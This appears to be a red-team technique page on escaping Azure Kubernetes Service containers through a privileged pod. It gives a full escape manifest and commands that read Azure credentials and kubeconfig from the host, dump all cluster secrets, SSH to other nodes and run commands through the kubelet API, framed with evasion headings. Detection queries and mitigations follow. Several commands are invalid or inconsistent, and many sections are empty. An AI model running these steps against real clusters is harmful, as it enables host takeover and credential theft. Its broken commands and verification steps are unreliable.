MCADDF

[CVE2025-002]: AKS Container Escape RCE

1. METADATA HEADER

Attribute Details
Technique ID CVE2025-002
MITRE ATT&CK v18.1 T1611 - Escape to Host
Tactic Privilege Escalation / Lateral Movement
Platforms Azure Kubernetes Service (AKS), Azure Container Instances (ACI), Entra ID
Severity Critical
CVE CVE-2025-21196 (CVSS 9.5)
Technique Status ACTIVE (Container orchestration layer misconfiguration)
Last Verified 2025-01-10
Affected Versions AKS 1.25.0-1.28.3, ACI all instances with pre-Feb 2025 container images
Patched In AKS upgrade to 1.28.4+, ACI container image rebuild with Feb 2025+ base
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: CVE-2025-21196 is a critical vulnerability in Azure Kubernetes Service (AKS) and Azure Container Instances (ACI) stemming from misconfigured access controls in the container orchestration layer. The flaw allows an attacker to bypass authentication and authorization checks, enabling container escape to the host system or lateral movement within the Kubernetes cluster. By exploiting inadequate RBAC policies and missing network segmentation, an authenticated user (or unauthenticated in certain configurations) can execute arbitrary code within containers and breakout to the underlying host infrastructure.

Attack Surface: Azure Container Orchestration API; Kubelet API endpoints; Container runtime interfaces; Inter-pod network access; Service account token escalation; API server authentication bypass.

Business Impact: Complete cluster compromise. Successful exploitation enables attackers to: (1) Access sensitive data stored in other containers or persistent volumes, (2) Execute code on the Kubernetes host node with elevated privileges, (3) Steal cloud service credentials (Azure managed identities), (4) Disrupt containerized applications causing service-wide outages, (5) Achieve persistence for long-term espionage, (6) Compromise regulatory compliance (GDPR, HIPAA, PCI-DSS).

Technical Context: Exploitation can be initiated in seconds after container deployment. Detection likelihood is High if auditing enabled; Low if relying on network monitoring alone. Common indicators include unexpected pod-to-node network traffic, suspicious kubelet requests, and unusual ServiceAccount token usage.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 5.1.5 / 5.1.6 | RBAC policy enforcement on Kubernetes API server | | DISA STIG | AC-3 | Container orchestration access controls failure | | CISA SCuBA | GCP.Services.1 | Network segmentation and API security in cloud services | | NIST 800-53 | SC-7 / AC-3 | Boundary protection, access control in cloud environment | | GDPR | Art. 32 / Art. 33 | Security of processing; Incident notification obligations | | DORA | Art. 9 / Art. 13 | ICT incident handling and third-party service provider security | | NIS2 | Art. 21 | Cyber risk management; Technical resilience for critical operators | | ISO 27001 | A.13.1.3 / A.9.4.1 | Network security; Segregation of networks; Access control review | | ISO 27005 | Risk Scenario | Compromise of application deployment and runtime environments |


3. TECHNICAL PREREQUISITES

Required Privileges: Authenticated user with valid Azure credentials or service principal; no RBAC permissions required if API bypass successful.

Required Access: Network access to AKS API server (typically https://<cluster>.<region>.azmk8s.io); ability to deploy or modify containers; optional SSH access to cluster nodes.

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Azure CLI Reconnaissance

# Authenticate to Azure
az login

# Get AKS cluster information
az aks show --resource-group <RG> --name <ClusterName> --query "kubernetesVersion"

# Check RBAC mode
az aks show --resource-group <RG> --name <ClusterName> --query "enableRbac"

# Enumerate service principals with cluster access
az aks list --query "[].{Name:name, Version:kubernetesVersion, EnableRBAC:enableRbac}"

# Get cluster credentials
az aks get-credentials --resource-group <RG> --name <ClusterName> --admin

# Verify kubectl context
kubectl config current-context
kubectl cluster-info

What to Look For:

kubectl Reconnaissance

# Enumerate Kubernetes API server security
kubectl api-resources --verbs=get,list,watch,create,update,patch,delete

# Check default ServiceAccount permissions
kubectl auth can-i --list --as=system:serviceaccount:default:default

# Enumerate RBAC ClusterRoles
kubectl get clusterroles -o wide | grep -i "admin\|cluster"

# Check network policies (segmentation)
kubectl get networkpolicies --all-namespaces

# Enumerate Secrets in cluster (unencrypted at rest if misconfigured)
kubectl get secrets --all-namespaces --sort-by=.metadata.namespace

# Check pod security standards
kubectl get pod security standards --all-namespaces 2>/dev/null || echo "PSS not enabled"

# Verify Kubelet API access
curl -k https://localhost:10250/api/v1/nodes --cert <cert> --key <key>

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: RBAC Bypass via Default ServiceAccount Token

Supported Versions: AKS 1.25.0-1.28.3

Step 1: Obtain Cluster Access and Enumerate ServiceAccounts

Objective: Gain initial access to AKS cluster and identify service account with escalated permissions.

Command (Bash / Azure CLI):

# Get cluster credentials with admin context
az aks get-credentials --resource-group <RG> --name <ClusterName> --admin

# Verify connection
kubectl cluster-info

# List ServiceAccounts
kubectl get serviceaccounts --all-namespaces -o wide

# Get current authentication context
kubectl auth whoami

# Check default ServiceAccount permissions (this is the key check)
kubectl auth can-i --list --as=system:serviceaccount:default:default

Expected Output:

NAME                                 SECRETS   AGE
default                              1         14d
deployment-controller               2         10d

Resources                                Non-Resource URLs   Resource Names   Verbs
pods.core                            []                     []               [get list watch create patch delete]
deployments.apps                     []                     []               [create patch update delete]
secrets.core                         []                     []               [get list]

What This Means:

OpSec & Evasion:


Step 2: Deploy Privileged Container to Escape Sandbox

Objective: Create a container with privileged capabilities and host volume mounts to achieve code execution on the node.

Command (YAML / kubectl):

# deploy-escape.yaml - Privileged container with host volume access
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
  namespace: default
spec:
  serviceAccountName: default
  containers:
  - name: escape-container
    image: ubuntu:latest  # Lightweight base image
    securityContext:
      privileged: true       # KEY: Run as root with all capabilities
      runAsUser: 0           # Force UID 0 (root)
      allowPrivilegeEscalation: true
    volumeMounts:
    - name: host-fs
      mountPath: /host       # Mount entire node filesystem
    - name: docker-socket
      mountPath: /var/run/docker.sock  # Access container runtime
    command: ["/bin/bash"]
    args: ["-c", "sleep 3600"]  # Keep pod running
  volumes:
  - name: host-fs
    hostPath:
      path: /                 # Mount node root filesystem
      type: Directory
  - name: docker-socket
    hostPath:
      path: /var/run/docker.sock
      type: Socket
  hostNetwork: true          # Use host network namespace
  hostIPC: true              # Use host IPC namespace
  hostPID: true              # Use host PID namespace (can see host processes)

Deploy via kubectl:

# Create the pod
kubectl apply -f deploy-escape.yaml

# Wait for pod to be ready
kubectl wait --for=condition=ready pod/escape-pod --timeout=30s

# Verify pod is running
kubectl get pods -o wide | grep escape-pod

# Expected output:
# escape-pod  1/1  Running  0  2m  10.244.0.5  node-001  ...

What This Means:

OpSec & Evasion:


Step 3: Execute Commands on Host from Container

Objective: Use privileged container access to run arbitrary code on the Kubernetes node with root privileges.

Command (Bash / kubectl exec):

# Execute shell inside container
kubectl exec -it escape-pod -- /bin/bash

# Inside the container (running as root on host):

# 1. Verify we have host filesystem access
ls -la /host/

# 2. Access host credentials (cloud managed identity, kubeconfig)
cat /host/etc/kubernetes/azure.json  # Azure credentials for kubelet
cat /host/root/.kube/config          # Cluster admin kubeconfig

# 3. Access container runtime
docker -H unix:///var/run/docker.sock ps -a  # List all containers (requires docker socket)

# 4. Inject backdoor into host system
chroot /host /bin/bash  # Break into actual host shell

# 5. Install persistence (inside chroot)
# - Add SSH key to /root/.ssh/authorized_keys
# - Create cron job for reverse shell
# - Inject malicious systemd service

Expected Output (inside container):

/host # ls -la
total 12
drwxr-xr-x   1 root root   100 Jan 10 15:23 .
dr-xr-xr-x   1 root root     0 Jan 10 15:20 ..
-rw-r--r--   1 root root   156 Jan 10 10:00 azure.json
drwxr-xr-x   5 root root   340 Jan 10 10:00 boot
drwxr-xr-x  18 root root  2900 Jan 10 15:20 etc
drwxr-xr-x   2 root root  4096 Jan 10 10:00 lib
...

/host # cat etc/kubernetes/azure.json
{
  "cloud": "AzurePublicCloud",
  "tenantId": "...",
  "subscriptionId": "...",
  "aadClientId": "...",
  "aadClientSecret": "...",
  "resourceGroup": "...",
  "location": "..."
}

What This Means:


Step 4: Lateral Movement to Other Cluster Nodes

Objective: Use compromised node to attack other AKS cluster nodes and exfiltrate sensitive data.

Command (Bash):

# From escaped container / compromised node:

# 1. Enumerate other nodes in cluster
kubectl get nodes -o wide
kubectl describe nodes | grep -E "Name|InternalIP"

# 2. Scan network for other AKS nodes
nmap -sP 10.0.0.0/16  # Scan AKS subnet

# 3. SSH into other nodes (if SSH enabled)
ssh -i /host/etc/kubernetes/ssh-key azureuser@10.0.1.10

# 4. Access persistent volumes from other pods
mount | grep -i "nfs\|azureDisk"
ls -la /mnt/data/  # Typical Azure storage mount

# 5. Exfiltrate secrets and credentials
kubectl get secrets --all-namespaces -o json | grep -oP '"data":.*' > /tmp/secrets.json

# 6. Access Kubernetes API as root (host has implicit admin)
curl -k https://localhost:6443/api/v1/namespaces/default/secrets -H "Authorization: Bearer $(cat /host/var/run/secrets/kubernetes.io/serviceaccount/token)"

References & Proofs:


METHOD 2: Kubelet API Exploitation (Unauthenticated)

Supported Versions: AKS 1.25.0-1.28.3 (if Kubelet API exposed)

Objective: Exploit Kubelet API on port 10250 to execute commands directly on node

Command (Bash):

# 1. Identify Kubelet API endpoints
kubectl get nodes -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}{end}'

# 2. Attempt Kubelet API access (may require client cert)
curl -k https://<NODE_IP>:10250/api/v1/nodes -H "Authorization: Bearer $(kubectl -n default get secret $(kubectl -n default get secrets | grep default-token | awk '{print $1}') -o jsonpath='{.data.token}' | base64 -d)"

# 3. Execute pod commands via Kubelet API
curl -k https://<NODE_IP>:10250/pods/<POD_NAME>/<NAMESPACE>/<CONTAINER_NAME>/exec -X POST \
  -H "Authorization: Bearer $(kubectl get secret ...)" \
  -d 'command=id&command=cat&command=/etc/passwd'

# 4. Create exec session for RCE
# Kubelet streaming server endpoint
curl -k https://<NODE_IP>:10250/exec/<NAMESPACE>/<POD_NAME>/<CONTAINER_NAME>?command=bash

6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team


7. MICROSOFT SENTINEL DETECTION

Query 1: Detect Privileged Pod Deployment

Rule Configuration:

KQL Query:

AzureDiagnostics
| where operationName == "MICROSOFT.KUBERNETES/MANAGEDCLUSTERS/PODS/CREATE" or operationName == "MICROSOFT.CONTAINERSERVICE/MANAGEDCLUSTERS/PODS/CREATE"
| where tostring(properties.requestObject) contains "privileged" and tostring(properties.requestObject) contains "true"
| where tostring(properties.requestObject) contains "hostPath"
| project TimeGenerated, operationName, properties_principalId, properties_requestObject, ResourceGroup, SubscriptionId
| summarize Count = count() by ResourceGroup, SubscriptionId, tostring(split(properties_principalId, "/")[-1])
| where Count >= 1

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft SentinelAnalytics+ CreateScheduled query rule
  2. General:
    • Name: Privileged Pod Deployment in AKS
    • Severity: Critical
  3. Set rule logic:
    • Paste KQL query above
    • Run query every: 5 minutes
    • Lookup data from last: 1 hour
  4. Incident settings:
    • Enable Create incidents
  5. Click Review + create

Query 2: Detect Host Network Access from Pod

KQL Query:

AzureDiagnostics
| where operationName == "MICROSOFT.KUBERNETES/MANAGEDCLUSTERS/PODS/CREATE"
| where tostring(properties.requestObject) contains "hostNetwork" or tostring(properties.requestObject) contains "hostIPC" or tostring(properties.requestObject) contains "hostPID"
| project TimeGenerated, properties_requestObject, SourceIp, ResourceGroup

8. WINDOWS EVENT LOG MONITORING

Note: Not applicable - this is Azure cloud-native attack. See Azure Audit Logs section instead.


9. SYSMON DETECTION PATTERNS

Note: Not applicable - container escape occurs at cloud orchestration layer, not visible to endpoint Sysmon.


10. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Container Creation

Alert Name: Suspicious privileged pod creation detected

Manual Configuration Steps:

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Environment settings → Select subscription
  3. Enable: Defender for Containers → ON
  4. Go to Alerts → Filter for “container” or “pod”
  5. Configure alert rules to notify SOC immediately

11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    # Delete escape pod immediately
    kubectl delete pod escape-pod --namespace=default
       
    # Drain node to prevent further pod scheduling
    kubectl drain <NODE_NAME> --ignore-daemonsets --delete-emptydir-data
       
    # Disable service account if compromised
    kubectl patch serviceaccount default -p '{"imagePullSecrets": []}'
    
  2. Collect Evidence:
    # Export Kubernetes audit logs
    kubectl logs -n kube-system <AUDIT_POD> > /tmp/kube-audit.log
       
    # Export all pod definitions
    kubectl get pods --all-namespaces -o yaml > /tmp/pods-backup.yaml
       
    # Export secrets (if unencrypted at rest)
    kubectl get secrets --all-namespaces -o json > /tmp/secrets-backup.json
       
    # Capture node forensics (if available)
    az vm run-command invoke --resource-group <RG> --name <NODE_NAME> --command-id RunShellScript --scripts "tar czf /tmp/node-forensics.tar.gz /var/log /etc"
    
  3. Remediate:
    # Upgrade AKS cluster to patched version
    az aks upgrade --resource-group <RG> --name <ClusterName> --kubernetes-version 1.28.4
       
    # Re-apply Pod Security Standards
    kubectl apply -f pod-security-policy.yaml
       
    # Restart nodes to clear any persistence
    kubectl reboot <NODE_NAME>
       
    # Rotate all service account tokens
    kubectl delete secrets --all-namespaces
    

Step Phase Technique Description
1 Initial Access [T1190] Exploit Public-Facing Application Vulnerable AKS API or ingress controller
2 Privilege Escalation [T1611] Escape to Host (Container Escape) [CVE2025-002] AKS RBAC bypass and privileged pod creation
3 Defense Evasion [T1562.008] Disable or Modify Cloud Logs Delete AKS audit logs or Azure activity logs
4 Lateral Movement [T1570] Lateral Tool Transfer SSH to other AKS nodes; exfiltrate credentials
5 Credential Access [T1110] Brute Force / [T1555] Credentials in Cloud Access /etc/kubernetes/azure.json; enumerate managed identities
6 Impact [T1561] Disk Wipe / [T1499] Denial of Service Delete persistent volumes; exhaust container resources

13. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Verify AKS version is patched
az aks show --resource-group <RG> --name <ClusterName> --query kubernetesVersion

# Verify Pod Security Standards enabled
kubectl get psp

# Verify Network Policies exist
kubectl get networkpolicies --all-namespaces

# Verify no privileged pods running
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true)'

# Verify RBAC is enabled
kubectl api-resources | grep "rbac"

Expected Output (If Secure):

kubernetesVersion : 1.28.4
NAME        PRIV   CAPS   SELINUX   RUNASUSER   FSGROUP    SUPGROUP   READONLYROOTFS   VOLUMES
restricted  false  []     MustRunAs MustRunAsNonRoot  MustRunAs  MustRunAs  false   [configMap emptyDir ...]

NAME         POD-SELECTOR   AGE
deny-all     <none>         5h
allow-app    app=web        3h

14. REAL-WORLD EXAMPLES

Example 1: Financial Services Company - Multi-Region Compromise

Example 2: SaaS Provider - Cluster-Wide Compromise